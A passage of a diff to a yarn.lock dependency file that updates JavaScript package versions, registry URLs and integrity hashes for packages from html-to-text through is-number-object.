+  version "9.0.5"
+  resolved "https://registry.npmjs.org/html-to-text/-/html-to-text-9.0.5.tgz"
+  integrity sha512-qY60FjREgVZL03vJU6IfMV4GDjGBIoOyvuFdpBDIX9yTlDw0TjxVBQp+P8NvpdIXNJvfWBTNul7fsAQJq2FNpg==
+  dependencies:
+    "@selderee/plugin-htmlparser2" "^0.11.0"
+    deepmerge "^4.3.1"
+    dom-serializer "^2.0.0"
+    htmlparser2 "^8.0.2"
+    selderee "^0.11.0"
+
+htmlparser2@^8.0.2:
+  version "8.0.2"
+  resolved "https://registry.npmjs.org/htmlparser2/-/htmlparser2-8.0.2.tgz"
+  integrity sha512-GYdjWKDkbRLkZ5geuHs5NY1puJ+PXwP7+fHPRz06Eirsb9ugf6d8kkXav6ADhcODhFFPMIXyxkxSuMf3D6NCFA==
+  dependencies:
+    domelementtype "^2.3.0"
+    domhandler "^5.0.3"
+    domutils "^3.0.1"
+    entities "^4.4.0"
+
+htmlparser2@^9.1.0:
+  version "9.1.0"
+  resolved "https://registry.npmjs.org/htmlparser2/-/htmlparser2-9.1.0.tgz"
+  integrity sha512-5zfg6mHUoaer/97TxnGpxmbR7zJtPwIYFMZ/H5ucTlPZhKvtum05yiPK3Mgai3a0DyVxv7qYqoweaEd2nrYQzQ==
+  dependencies:
+    domelementtype "^2.3.0"
+    domhandler "^5.0.3"
+    domutils "^3.1.0"
+    entities "^4.5.0"
+
+http-errors@2.0.0, http-errors@^2.0.0:
+  version "2.0.0"
+  resolved "https://registry.npmjs.org/http-errors/-/http-errors-2.0.0.tgz"
+  integrity sha512-FtwrG/euBzaEjYeRqOgly7G0qviiXoJWnvEH2Z1plBdXgbyjv34pHTSb9zoeHMyDy33+DWy5Wt9Wo+TURtOYSQ==
+  dependencies:
+    depd "2.0.0"
+    inherits "2.0.4"
+    setprototypeof "1.2.0"
+    statuses "2.0.1"
+    toidentifier "1.0.1"
+
 http-proxy-agent@^5.0.0:
   version "5.0.0"
-  resolved "https://registry.yarnpkg.com/http-proxy-agent/-/http-proxy-agent-5.0.0.tgz#5129800203520d434f142bc78ff3c170800f2b43"
+  resolved "https://registry.npmjs.org/http-proxy-agent/-/http-proxy-agent-5.0.0.tgz"
   integrity sha512-n2hY8YdoRE1i7r6M0w9DIw5GgZN0G25P8zLCRQ8rjXtTU3vsNFBI/vWK/UIeE6g5MUUz6avwAPXmL6Fy9D/90w==
   dependencies:
     "@tootallnate/once" "2"
     agent-base "6"
     debug "4"
 
+http-proxy-agent@^7.0.0, http-proxy-agent@^7.0.1, http-proxy-agent@^7.0.2:
+  version "7.0.2"
+  resolved "https://registry.npmjs.org/http-proxy-agent/-/http-proxy-agent-7.0.2.tgz"
+  integrity sha512-T1gkAiYYDWYx3V5Bmyu7HcfcvL7mUrTWiM6yOfa3PIphViJ/gFPbvidQ+veqSOHci/PxBcDabeUNCzpOODJZig==
+  dependencies:
+    agent-base "^7.1.0"
+    debug "^4.3.4"
+
 https-proxy-agent@^5.0.1:
   version "5.0.1"
-  resolved "https://registry.yarnpkg.com/https-proxy-agent/-/https-proxy-agent-5.0.1.tgz#c59ef224a04fe8b754f3db0063a25ea30d0005d6"
+  resolved "https://registry.npmjs.org/https-proxy-agent/-/https-proxy-agent-5.0.1.tgz"
   integrity sha512-dFcAjpTQFgoLMzC2VwU+C/CbS7uRL0lWmxDITmqm7C+7F0Odmj6s9l6alZc6AELXhrnggM2CeWSXHGOdX2YtwA==
   dependencies:
     agent-base "6"
     debug "4"
 
+https-proxy-agent@^7.0.5, https-proxy-agent@^7.0.6:
+  version "7.0.6"
+  resolved "https://registry.npmjs.org/https-proxy-agent/-/https-proxy-agent-7.0.6.tgz"
+  integrity sha512-vK9P5/iUfdl95AI+JVyUuIcVtd4ofvtrOr3HNtM2yxC9bnMbEdp3x01OhQNnjb8IJYi38VlTE3mBXwcfvywuSw==
+  dependencies:
+    agent-base "^7.1.2"
+    debug "4"
+
 human-signals@^2.1.0:
   version "2.1.0"
-  resolved "https://registry.yarnpkg.com/human-signals/-/human-signals-2.1.0.tgz#dc91fcba42e4d06e4abaed33b3e7a3c02f514ea0"
+  resolved "https://registry.npmjs.org/human-signals/-/human-signals-2.1.0.tgz"
   integrity sha512-B4FFZ6q/T2jhhksgkbEW3HBvWIfDW85snkQgawt07S7J5QXTk6BkNV+0yAeZrM5QpMAdYlocGoljn0sJ/WQkFw==
 
-human-signals@^4.3.0:
-  version "4.3.1"
-  resolved "https://registry.yarnpkg.com/human-signals/-/human-signals-4.3.1.tgz#ab7f811e851fca97ffbd2c1fe9a958964de321b2"
-  integrity sha512-nZXjEF2nbo7lIw3mgYjItAfgQXog3OjJogSbKa2CQIIvSGWcKgeJnQlNXip6NglNzYH45nSRiEVimMvYL8DDqQ==
-
-iconv-lite@0.6.3:
+iconv-lite@0.6.3, iconv-lite@^0.6.3:
   version "0.6.3"
-  resolved "https://registry.yarnpkg.com/iconv-lite/-/iconv-lite-0.6.3.tgz#a52f80bf38da1952eb5c681790719871a1a72501"
+  resolved "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.6.3.tgz"
   integrity sha512-4fCk79wshMdzMp2rH06qWrJE4iolqLhCUH+OiuIgU++RB0+94NlDL81atO7GX55uUKueo0txHNtvEyI6D7WdMw==
   dependencies:
     safer-buffer ">= 2.1.2 < 3.0.0"
 
-ieee754@^1.1.13:
+ieee754@^1.1.13, ieee754@^1.2.1:
   version "1.2.1"
-  resolved "https://registry.yarnpkg.com/ieee754/-/ieee754-1.2.1.tgz#8eb7a10a63fff25d15a57b001586d177d1b0d352"
+  resolved "https://registry.npmjs.org/ieee754/-/ieee754-1.2.1.tgz"
   integrity sha512-dcyqhDvX1C46lXZcVqCpK+FtMRQVdIMN6/Df5js2zouUsqG7I6sFxitIC+7KYK29KdXOLHdu9zL4sFnoVQnqaA==
 
 ignore@^5.2.0:
   version "5.2.0"
-  resolved "https://registry.yarnpkg.com/ignore/-/ignore-5.2.0.tgz#6d3bac8fa7fe0d45d9f9be7bac2fc279577e345a"
+  resolved "https://registry.npmjs.org/ignore/-/ignore-5.2.0.tgz"
   integrity sha512-CmxgYGiEPCLhfLnpPp1MoRmifwEIOgjcHXxOBjv7mY96c+eWScsOP9c112ZyLdWHi0FxHjI+4uVhKYp/gcdRmQ==
 
 ignore@^5.2.4:
   version "5.3.1"
-  resolved "https://registry.yarnpkg.com/ignore/-/ignore-5.3.1.tgz#5073e554cd42c5b33b394375f538b8593e34d4ef"
+  resolved "https://registry.npmjs.org/ignore/-/ignore-5.3.1.tgz"
   integrity sha512-5Fytz/IraMjqpwfd34ke28PTVMjZjJG2MPn5t7OE4eUCUNf8BAa7b5WUS9/Qvr6mwOQS7Mk6vdsMno5he+T8Xw==
 
-import-fresh@^3.0.0, import-fresh@^3.2.1:
+ignore@^5.3.1:
+  version "5.3.2"
+  resolved "https://registry.npmjs.org/ignore/-/ignore-5.3.2.tgz"
+  integrity sha512-hsBTNUqQTDwkWtcdYI2i06Y/nUBEsNEDJKjWdigLvegy8kDuJAS8uRlpkkcQpyEXL0Z/pjDy5HBmMjRCJ2gq+g==
+
+immediate@~3.0.5:
+  version "3.0.6"
+  resolved "https://registry.npmjs.org/immediate/-/immediate-3.0.6.tgz"
+  integrity sha512-XXOFtyqDjNDAQxVfYxuF7g9Il/IbWmmlQg2MYKOH8ExIT1qg6xc4zyS3HaEEATgs1btfzxq15ciUiY7gjSXRGQ==
+
+import-fresh@^3.2.1, import-fresh@^3.3.0:
   version "3.3.0"
-  resolved "https://registry.yarnpkg.com/import-fresh/-/import-fresh-3.3.0.tgz#37162c25fcb9ebaa2e6e53d5b4d88ce17d9e0c2b"
+  resolved "https://registry.npmjs.org/import-fresh/-/import-fresh-3.3.0.tgz"
   integrity sha512-veYYhQa+D1QBKznvhUHxb8faxlrwUnxseDAbAp457E0wLNio2bOSKnjYDhMj+YiAq61xrMGhQk9iXVk5FzgQMw==
   dependencies:
     parent-module "^1.0.0"
@@ -5879,7 +6553,7 @@ import-fresh@^3.0.0, import-fresh@^3.2.1:
 
 import-local@^3.0.2:
   version "3.1.0"
-  resolved "https://registry.yarnpkg.com/import-local/-/import-local-3.1.0.tgz#b4479df8a5fd44f6cdce24070675676063c95cb4"
+  resolved "https://registry.npmjs.org/import-local/-/import-local-3.1.0.tgz"
   integrity sha512-ASB07uLtnDs1o6EHjKpX34BKYDSqnFerfTOJL2HvMqF70LnxpjkzDB8J44oT9pu4AMPkQwf8jl6szgvNd2tRIg==
   dependencies:
     pkg-dir "^4.2.0"
@@ -5887,355 +6561,350 @@ import-local@^3.0.2:
 
 imurmurhash@^0.1.4:
   version "0.1.4"
-  resolved "https://registry.yarnpkg.com/imurmurhash/-/imurmurhash-0.1.4.tgz#9218b9b2b928a238b13dc4fb6b6d576f231453ea"
+  resolved "https://registry.npmjs.org/imurmurhash/-/imurmurhash-0.1.4.tgz"
   integrity sha512-JmXMZ6wuvDmLiHEml9ykzqO6lwFbof0GG4IkcGaENdCRDDmMVnny7s5HsIgHCbaq0w2MyPhDqkhTUgS2LU2PHA==
 
 inflight@^1.0.4:
   version "1.0.6"
-  resolved "https://registry.yarnpkg.com/inflight/-/inflight-1.0.6.tgz#49bd6331d7d02d0c09bc910a1075ba8165b56df9"
+  resolved "https://registry.npmjs.org/inflight/-/inflight-1.0.6.tgz"
   integrity sha512-k92I/b08q4wvFscXCLvqfsHCrjrF7yiXsQuIVvVE7N82W3+aqpzuUdBbfhWcy/FZR3/4IgflMgKLOsvPDrGCJA==
   dependencies:
     once "^1.3.0"
     wrappy "1"
 
-inherits@2, inherits@^2.0.3, inherits@^2.0.4:
+inherits@2, inherits@2.0.4, inherits@^2.0.3, inherits@^2.0.4, inherits@~2.0.3:
   version "2.0.4"
-  resolved "https://registry.yarnpkg.com/inherits/-/inherits-2.0.4.tgz#0fa2c64f932917c3433a0ded55363aae37416b7c"
+  resolved "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz"
   integrity sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==
 
-internal-slot@^1.0.3, internal-slot@^1.0.4, internal-slot@^1.0.5:
-  version "1.0.5"
-  resolved "https://registry.yarnpkg.com/internal-slot/-/internal-slot-1.0.5.tgz#f2a2ee21f668f8627a4667f309dc0f4fb6674986"
-  integrity sha512-Y+R5hJrzs52QCG2laLn4udYVnxsfny9CpOhNhUvk/SSSVyF6T27FzRbF0sroPidSu3X8oEAkOn2K804mjpt6UQ==
+ini@^1.3.4:
+  version "1.3.8"
+  resolved "https://registry.npmjs.org/ini/-/ini-1.3.8.tgz"
+  integrity sha512-JV/yugV2uzW5iMRSiZAyDtQd+nxtUnjeLt0acNdw98kKLrvuRVyB80tsREOE7yvGVgalhZ6RNXCmEHkUKBKxew==
+
+internal-slot@^1.1.0:
+  version "1.1.0"
+  resolved "https://registry.yarnpkg.com/internal-slot/-/internal-slot-1.1.0.tgz#1eac91762947d2f7056bc838d93e13b2e9604961"
+  integrity sha512-4gd7VpWNQNB4UKKCFFVcp1AVv+FMOgs9NKzjHKusc8jTMhd5eL1NqQqOpE0KzMds804/yHlglp3uxgluOqAPLw==
   dependencies:
-    get-intrinsic "^1.2.0"
-    has "^1.0.3"
-    side-channel "^1.0.4"
+    es-errors "^1.3.0"
+    hasown "^2.0.2"
+    side-channel "^1.1.0"
 
 invariant@^2.2.4:
   version "2.2.4"
-  resolved "https://registry.yarnpkg.com/invariant/-/invariant-2.2.4.tgz#610f3c92c9359ce1db616e538008d23ff35158e6"
+  resolved "https://registry.npmjs.org/invariant/-/invariant-2.2.4.tgz"
   integrity sha512-phJfQVBuaJM5raOpJjSfkiD6BpbCE4Ns//LaXl6wGYtUBY83nWS6Rf9tXm2e8VaK60JEjYldbPif/A2B1C2gNA==
   dependencies:
     loose-envify "^1.0.0"
 
-is-arguments@^1.1.1:
-  version "1.1.1"
-  resolved "https://registry.yarnpkg.com/is-arguments/-/is-arguments-1.1.1.tgz#15b3f88fda01f2a97fec84ca761a560f123efa9b"
-  integrity sha512-8Q7EARjzEnKpt/PCD7e1cgUS0a6X8u5tdSiMqXhojOdoV9TsMsiO+9VLC5vAmO8N7/GmXn7yjR8qnA6bVAEzfA==
+ip-address@^9.0.5:
+  version "9.0.5"
+  resolved "https://registry.npmjs.org/ip-address/-/ip-address-9.0.5.tgz"
+  integrity sha512-zHtQzGojZXTwZTHQqra+ETKd4Sn3vgi7uBmlPoXVWZqYvuKmtI0l/VZTjqGmJY9x88GGOaZ9+G9ES8hC4T4X8g==
   dependencies:
-    call-bind "^1.0.2"
-    has-tostringtag "^1.0.0"
+    jsbn "1.1.0"
+    sprintf-js "^1.1.3"
 
-is-array-buffer@^3.0.1, is-array-buffer@^3.0.2:
-  version "3.0.2"
-  resolved "https://registry.yarnpkg.com/is-array-buffer/-/is-array-buffer-3.0.2.tgz#f2653ced8412081638ecb0ebbd0c41c6e0aecbbe"
-  integrity sha512-y+FyyR/w8vfIRq4eQcM1EYgSTnmHXPqaF+IgzgraytCFq5Xh8lllDVmAZolPJiZttZLeFSINPYMaEJ7/vWUa1w==
+ipaddr.js@1.9.1:
+  version "1.9.1"
+  resolved "https://registry.npmjs.org/ipaddr.js/-/ipaddr.js-1.9.1.tgz"
+  integrity sha512-0KI/607xoxSToH7GjN1FfSbLoU0+btTicjsQSWQlh/hZykN8KpmMf7uYwPW3R+akZ6R/w18ZlXSHBYXiYUPO3g==
+
+is-array-buffer@^3.0.4, is-array-buffer@^3.0.5:
+  version "3.0.5"
+  resolved "https://registry.yarnpkg.com/is-array-buffer/-/is-array-buffer-3.0.5.tgz#65742e1e687bd2cc666253068fd8707fe4d44280"
+  integrity sha512-DDfANUiiG2wC1qawP66qlTugJeL5HyzMpfr8lLK+jMQirGzNod0B12cFB/9q838Ru27sBwfw78/rdoU7RERz6A==
   dependencies:
-    call-bind "^1.0.2"
-    get-intrinsic "^1.2.0"
-    is-typed-array "^1.1.10"
+    call-bind "^1.0.8"
+    call-bound "^1.0.3"
+    get-intrinsic "^1.2.6"
 
 is-arrayish@^0.2.1:
   version "0.2.1"
-  resolved "https://registry.yarnpkg.com/is-arrayish/-/is-arrayish-0.2.1.tgz#77c99840527aa8ecb1a8ba697b80645a7a926a9d"
+  resolved "https://registry.npmjs.org/is-arrayish/-/is-arrayish-0.2.1.tgz"
   integrity sha512-zz06S8t0ozoDXMG+ube26zeCTNXcKIPJZJi8hBrF4idCLms4CG9QtK7qBl1boi5ODzFpjswb5JPmHCbMpjaYzg==
 
+is-arrayish@^0.3.1:
+  version "0.3.2"
+  resolved "https://registry.npmjs.org/is-arrayish/-/is-arrayish-0.3.2.tgz"
+  integrity sha512-eVRqCvVlZbuw3GrM63ovNSNAeA1K16kaR/LRY/92w0zxQ5/1YzwblUX652i4Xs9RwAGjW9d9y6X88t8OaAJfWQ==
+
 is-async-function@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.yarnpkg.com/is-async-function/-/is-async-function-2.0.0.tgz#8e4418efd3e5d3a6ebb0164c05ef5afb69aa9646"
-  integrity sha512-Y1JXKrfykRJGdlDwdKlLpLyMIiWqWvuSd17TvZk68PLAOGOoF4Xyav1z0Xhoi+gCYjZVeC5SI+hYFOfvXmGRCA==
+  version "2.1.1"
+  resolved "https://registry.yarnpkg.com/is-async-function/-/is-async-function-2.1.1.tgz#3e69018c8e04e73b738793d020bfe884b9fd3523"
+  integrity sha512-9dgM/cZBnNvjzaMYHVoxxfPj2QXt22Ev7SuuPrs+xav0ukGB0S6d4ydZdEiM48kLx5kDV+QBPrpVnFyefL8kkQ==
   dependencies:
-    has-tostringtag "^1.0.0"
+    async-function "^1.0.0"
+    call-bound "^1.0.3"
+    get-proto "^1.0.1"
+    has-tostringtag "^1.0.2"
+    safe-regex-test "^1.1.0"
 
-is-bigint@^1.0.1:
-  version "1.0.4"
-  resolved "https://registry.yarnpkg.com/is-bigint/-/is-bigint-1.0.4.tgz#08147a1875bc2b32005d41ccd8291dffc6691df3"
-  integrity sha512-zB9CruMamjym81i2JZ3UMn54PKGsQzsJeo6xvN3HJJ4CAsQNB6iRutp2To77OfCNuoxspsIhzaPoO1zyCEhFOg==
+is-bigint@^1.1.0:
+  version "1.1.0"
+  resolved "https://registry.yarnpkg.com/is-bigint/-/is-bigint-1.1.0.tgz#dda7a3445df57a42583db4228682eba7c4170672"
+  integrity sha512-n4ZT37wG78iz03xPRKJrHTdZbe3IicyucEtdRsV5yglwc3GyUfbAfpSeD0FJ41NbUNSt5wbhqfp1fS+BgnvDFQ==
   dependencies:
-    has-bigints "^1.0.1"
+    has-bigints "^1.0.2"
 
 is-binary-path@~2.1.0:
   version "2.1.0"
-  resolved "https://registry.yarnpkg.com/is-binary-path/-/is-binary-path-2.1.0.tgz#ea1f7f3b80f064236e83470f86c09c254fb45b09"
+  resolved "https://registry.npmjs.org/is-binary-path/-/is-binary-path-2.1.0.tgz"
   integrity sha512-ZMERYes6pDydyuGidse7OsHxtbI7WVeUEozgR/g7rd0xUimYNlvZRE/K2MgZTjWy725IfelLeVcEM97mmtRGXw==
   dependencies:
     binary-extensions "^2.0.0"
 
-is-boolean-object@^1.1.0:
-  version "1.1.2"
-  resolved "https://registry.yarnpkg.com/is-boolean-object/-/is-boolean-object-1.1.2.tgz#5c6dc200246dd9321ae4b885a114bb1f75f63719"
-  integrity sha512-gDYaKHJmnj4aWxyj6YHyXVpdQawtVLHU5cb+eztPGczf6cjuTdwve5ZIEfgXqH4e57An1D1AKf8CZ3kYrQRqYA==
-  dependencies:
-    call-bind "^1.0.2"
-    has-tostringtag "^1.0.0"
-
-is-builtin-module@^3.2.1:
-  version "3.2.1"
-  resolved "https://registry.yarnpkg.com/is-builtin-module/-/is-builtin-module-3.2.1.tgz#f03271717d8654cfcaf07ab0463faa3571581169"
-  integrity sha512-BSLE3HnV2syZ0FK0iMA/yUGplUeMmNz4AW5fnTunbCIqZi4vG3WjJT9FHMy5D69xmAYBHXQhJdALdpwVxV501A==
+is-boolean-object@^1.2.1:
+  version "1.2.2"
+  resolved "https://registry.yarnpkg.com/is-boolean-object/-/is-boolean-object-1.2.2.tgz#7067f47709809a393c71ff5bb3e135d8a9215d9e"
+  integrity sha512-wa56o2/ElJMYqjCjGkXri7it5FbebW5usLw/nPmCMs5DeZ7eziSYZhSmPRn0txqeW4LnAmQQU7FgqLpsEFKM4A==
   dependencies:
-    builtin-modules "^3.3.0"
+    call-bound "^1.0.3"
+    has-tostringtag "^1.0.2"
 
-is-callable@^1.1.3, is-callable@^1.1.4, is-callable@^1.2.7:
+is-callable@^1.2.7:
   version "1.2.7"
   resolved "https://registry.yarnpkg.com/is-callable/-/is-callable-1.2.7.tgz#3bc2a85ea742d9e36205dcacdd72ca1fdc51b055"
   integrity sha512-1BC0BVFhS/p0qtw6enp8e+8OD0UrK0oFLztSjNzhcKA3WDuJxxAPXzPuPtKkjEY9UUoEWlX/8fgKeu2S8i9JTA==
 
-is-core-module@^2.11.0:
-  version "2.12.1"
-  resolved "https://registry.yarnpkg.com/is-core-module/-/is-core-module-2.12.1.tgz#0c0b6885b6f80011c71541ce15c8d66cf5a4f9fd"
-  integrity sha512-Q4ZuBAe2FUsKtyQJoQHlvP8OvBERxO3jEmy1I7hcRXcJBGGHFh/aJBswbXuS9sgrDH2QUO8ilkwNPHvHMd8clg==
-  dependencies:
-    has "^1.0.3"
-
-is-core-module@^2.13.0, is-core-module@^2.13.1:
-  version "2.13.1"
-  resolved "https://registry.yarnpkg.com/is-core-module/-/is-core-module-2.13.1.tgz#ad0d7532c6fea9da1ebdc82742d74525c6273384"
-  integrity sha512-hHrIjvZsftOsvKSn2TRYl63zvxsgE0K+0mYMoH6gD4omR5IWB2KynivBQczo3+wF1cCkjzvptnI9Q0sPU66ilw==
-  dependencies:
-    hasown "^2.0.0"
-
 is-core-module@^2.9.0:
   version "2.10.0"
-  resolved "https://registry.yarnpkg.com/is-core-module/-/is-core-module-2.10.0.tgz#9012ede0a91c69587e647514e1d5277019e728ed"
+  resolved "https://registry.npmjs.org/is-core-module/-/is-core-module-2.10.0.tgz"
   integrity sha512-Erxj2n/LDAZ7H8WNJXd9tw38GYM3dv8rk8Zcs+jJuxYTW7sozH+SS8NtrSjVL1/vpLvWi1hxy96IzjJ3EHTJJg==
   dependencies:
     has "^1.0.3"
 
-is-date-object@^1.0.1, is-date-object@^1.0.5:
-  version "1.0.5"
-  resolved "https://registry.yarnpkg.com/is-date-object/-/is-date-object-1.0.5.tgz#0841d5536e724c25597bf6ea62e1bd38298df31f"
-  integrity sha512-9YQaSxsAiSwcvS33MBk3wTCVnWK+HhF8VZR2jRxehM16QcVOdHqPn4VPHmRK4lSr38n9JriurInLcP90xsYNfQ==
+is-data-view@^1.0.1, is-data-view@^1.0.2:
+  version "1.0.2"
+  resolved "https://registry.yarnpkg.com/is-data-view/-/is-data-view-1.0.2.tgz#bae0a41b9688986c2188dda6657e56b8f9e63b8e"
+  integrity sha512-RKtWF8pGmS87i2D6gqQu/l7EYRlVdfzemCJN/P3UOs//x1QE7mfhvzHIApBTRf7axvT6DMGwSwBXYCT0nfB9xw==
   dependencies:
-    has-tostringtag "^1.0.0"
-
-is-docker@^2.0.0:
-  version "2.2.1"
-  resolved "https://registry.yarnpkg.com/is-docker/-/is-docker-2.2.1.tgz#33eeabe23cfe86f14bde4408a02c0cfb853acdaa"
-  integrity sha512-F+i2BKsFrH66iaUFc0woD8sLy8getkwTwtOBjvs56Cx4CgJDeKQeqfz8wAYiSb8JOprWhHH5p77PbmYCvvUuXQ==
+    call-bound "^1.0.2"
+    get-intrinsic "^1.2.6"
+    is-typed-array "^1.1.13"
 
-is-docker@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.yarnpkg.com/is-docker/-/is-docker-3.0.0.tgz#90093aa3106277d8a77a5910dbae71747e15a200"
-  integrity sha512-eljcgEDlEns/7AXFosB5K/2nCM4P7FQPkGc/DWLy5rmFEWvZayGrik1d9/QIY5nJ4f9YsVvBkA6kJpHn9rISdQ==
+is-date-object@^1.0.5, is-date-object@^1.1.0:
+  version "1.1.0"
+  resolved "https://registry.yarnpkg.com/is-date-object/-/is-date-object-1.1.0.tgz#ad85541996fc7aa8b2729701d27b7319f95d82f7"
+  integrity sha512-PwwhEakHVKTdRNVOw+/Gyh0+MzlCl4R6qKvkhuvLtPMggI1WAHt9sOwZxQLSGpUaDnrdyDsomoRgNnCfKNSXXg==
+  dependencies:
+    call-bound "^1.0.2"
+    has-tostringtag "^1.0.2"
 
 is-extglob@^2.1.1:
   version "2.1.1"
-  resolved "https://registry.yarnpkg.com/is-extglob/-/is-extglob-2.1.1.tgz#a88c02535791f02ed37c76a1b9ea9773c833f8c2"
+  resolved "https://registry.npmjs.org/is-extglob/-/is-extglob-2.1.1.tgz"
   integrity sha512-SbKbANkN603Vi4jEZv49LeVJMn4yGwsbzZworEoyEiutsN3nJYdbO36zfhGJ6QEDpOZIFkDtnq5JRxmvl3jsoQ==
 
-is-finalizationregistry@^1.0.2:
-  version "1.0.2"
-  resolved "https://registry.yarnpkg.com/is-finalizationregistry/-/is-finalizationregistry-1.0.2.tgz#c8749b65f17c133313e661b1289b95ad3dbd62e6"
-  integrity sha512-0by5vtUJs8iFQb5TYUHHPudOR+qXYIMKtiUzvLIZITZUjknFmziyBJuLhVRc+Ds0dREFlskDNJKYIdIzu/9pfw==
+is-finalizationregistry@^1.1.0:
+  version "1.1.1"
+  resolved "https://registry.yarnpkg.com/is-finalizationregistry/-/is-finalizationregistry-1.1.1.tgz#eefdcdc6c94ddd0674d9c85887bf93f944a97c90"
+  integrity sha512-1pC6N8qWJbWoPtEjgcL2xyhQOP491EQjeUo3qTKcmV8YSDDJrOepfG8pcC7h/QgnQHYSv0mJ3Z/ZWxmatVrysg==
   dependencies:
-    call-bind "^1.0.2"
+    call-bound "^1.0.3"
 
 is-fullwidth-code-point@^3.0.0:
   version "3.0.0"
-  resolved "https://registry.yarnpkg.com/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz#f116f8064fe90b3f7844a38997c0b75051269f1d"
+  resolved "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz"
   integrity sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==
 
 is-generator-fn@^2.0.0:
   version "2.1.0"
-  resolved "https://registry.yarnpkg.com/is-generator-fn/-/is-generator-fn-2.1.0.tgz#7d140adc389aaf3011a8f2a2a4cfa6faadffb118"
+  resolved "https://registry.npmjs.org/is-generator-fn/-/is-generator-fn-2.1.0.tgz"
   integrity sha512-cTIB4yPYL/Grw0EaSzASzg6bBy9gqCofvWN8okThAYIxKJZC+udlRAmGbM0XLeniEJSs8uEgHPGuHSe1XsOLSQ==
 
 is-generator-function@^1.0.10:
-  version "1.0.10"
-  resolved "https://registry.yarnpkg.com/is-generator-function/-/is-generator-function-1.0.10.tgz#f1558baf1ac17e0deea7c0415c438351ff2b3c72"
-  integrity sha512-jsEjy9l3yiXEQ+PsXdmBwEPcOxaXWLspKdplFUVI9vq1iZgIekeC0L167qeu86czQaxed3q/Uzuw0swL0irL8A==
+  version "1.1.0"
+  resolved "https://registry.yarnpkg.com/is-generator-function/-/is-generator-function-1.1.0.tgz#bf3eeda931201394f57b5dba2800f91a238309ca"
+  integrity sha512-nPUB5km40q9e8UfN/Zc24eLlzdSf9OfKByBw9CIdw4H1giPMeA0OIJvbchsCu4npfI2QcMVBsGEBHKZ7wLTWmQ==
   dependencies:
-    has-tostringtag "^1.0.0"
+    call-bound "^1.0.3"
+    get-proto "^1.0.0"
+    has-tostringtag "^1.0.2"
+    safe-regex-test "^1.1.0"
 
 is-glob@^4.0.0, is-glob@^4.0.1, is-glob@^4.0.3, is-glob@~4.0.1:
   version "4.0.3"
-  resolved "https://registry.yarnpkg.com/is-glob/-/is-glob-4.0.3.tgz#64f61e42cbbb2eec2071a9dac0b28ba1e65d5084"
+  resolved "https://registry.npmjs.org/is-glob/-/is-glob-4.0.3.tgz"
   integrity sha512-xelSayHH36ZgE7ZWhli7pW34hNbNl8Ojv5KVmkJD4hBdD3th8Tfk9vYasLM+mXWOZhFkgZfxhLSnrwRr4elSSg==
   dependencies:
     is-extglob "^2.1.1"
 
-is-inside-container@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/is-inside-container/-/is-inside-container-1.0.0.tgz#e81fba699662eb31dbdaf26766a61d4814717ea4"
-  integrity sha512-KIYLCCJghfHZxqjYBE7rEy0OBuTd5xCHS7tHVgvCLkx7StIoaxwNW3hCALgEUjFfeRk+MG/Qxmp/vtETEF3tRA==
-  dependencies:
-    is-docker "^3.0.0"
-
 is-interactive@^1.0.0:
   version "1.0.0"
-  resolved "https://registry.yarnpkg.com/is-interactive/-/is-interactive-1.0.0.tgz#cea6e6ae5c870a7b0a0004070b7b587e0252912e"
+  resolved "https://registry.npmjs.org/is-interactive/-/is-interactive-1.0.0.tgz"
   integrity sha512-2HvIEKRoqS62guEC+qBjpvRubdX910WCMuJTZ+I9yvqKU2/12eSL549HMwtabb4oupdj2sMP50k+XJfB/8JE6w==
 
-is-map@^2.0.1, is-map@^2.0.2:
-  version "2.0.2"
-  resolved "https://registry.yarnpkg.com/is-map/-/is-map-2.0.2.tgz#00922db8c9bf73e81b7a335827bc2a43f2b91127"
-  integrity sha512-cOZFQQozTha1f4MxLFzlgKYPTyj26picdZTx82hbc/Xf4K/tZOOXSCkMvU4pKioRXGDLJRn0GM7Upe7kR721yg==
+is-interactive@^2.0.0:
+  version "2.0.0"
+  resolved "https://registry.npmjs.org/is-interactive/-/is-interactive-2.0.0.tgz"
+  integrity sha512-qP1vozQRI+BMOPcjFzrjXuQvdak2pHNUMZoeG2eRbiSqyvbEf/wQtEOTOX1guk6E3t36RkaqiSt8A/6YElNxLQ==
 
-is-module@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/is-module/-/is-module-1.0.0.tgz#3258fb69f78c14d5b815d664336b4cffb6441591"
-  integrity sha512-51ypPSPCoTEIN9dy5Oy+h4pShgJmPCygKfyRCISBI+JoWT/2oJvK8QPxmwv7b/p239jXrm9M1mlQbyKJ5A152g==
+is-map@^2.0.3:
+  version "2.0.3"
+  resolved "https://registry.yarnpkg.com/is-map/-/is-map-2.0.3.tgz#ede96b7fe1e270b3c4465e3a465658764926d62e"
+  integrity sha512-1Qed0/Hr2m+YqxnM09CjA2d/i6YZNfF6R2oRAOj36eUdS6qIV/huPJNSEpKbupewFs+ZsJlxsjjPbc0/afW6Lw==
 
-is-negative-zero@^2.0.2:
-  version "2.0.2"
-  resolved "https://registry.yarnpkg.com/is-negative-zero/-/is-negative-zero-2.0.2.tgz#7bf6f03a28003b8b3965de3ac26f664d765f3150"
-  integrity sha512-dqJvarLawXsFbNDeJW7zAz8ItJ9cd28YufuuFzh0G8pNHjJMnY08Dv7sYX2uF5UpQOwieAeOExEYAWWfu7ZZUA==
+is-negative-zero@^2.0.3:
+  version "2.0.3"
+  resolved "https://registry.yarnpkg.com/is-negative-zero/-/is-negative-zero-2.0.3.tgz#ced903a027aca6381b777a5743069d7376a49747"
+  integrity sha512-5KoIu2Ngpyek75jXodFvnafB6DJgr3u8uuK0LEZJjrU19DrMD3EVERaR8sjz8CCGgpZvxPl9SuE1GMVPFHx1mw==
 
-is-number-object@^1.0.4:
-  version "1.0.7"
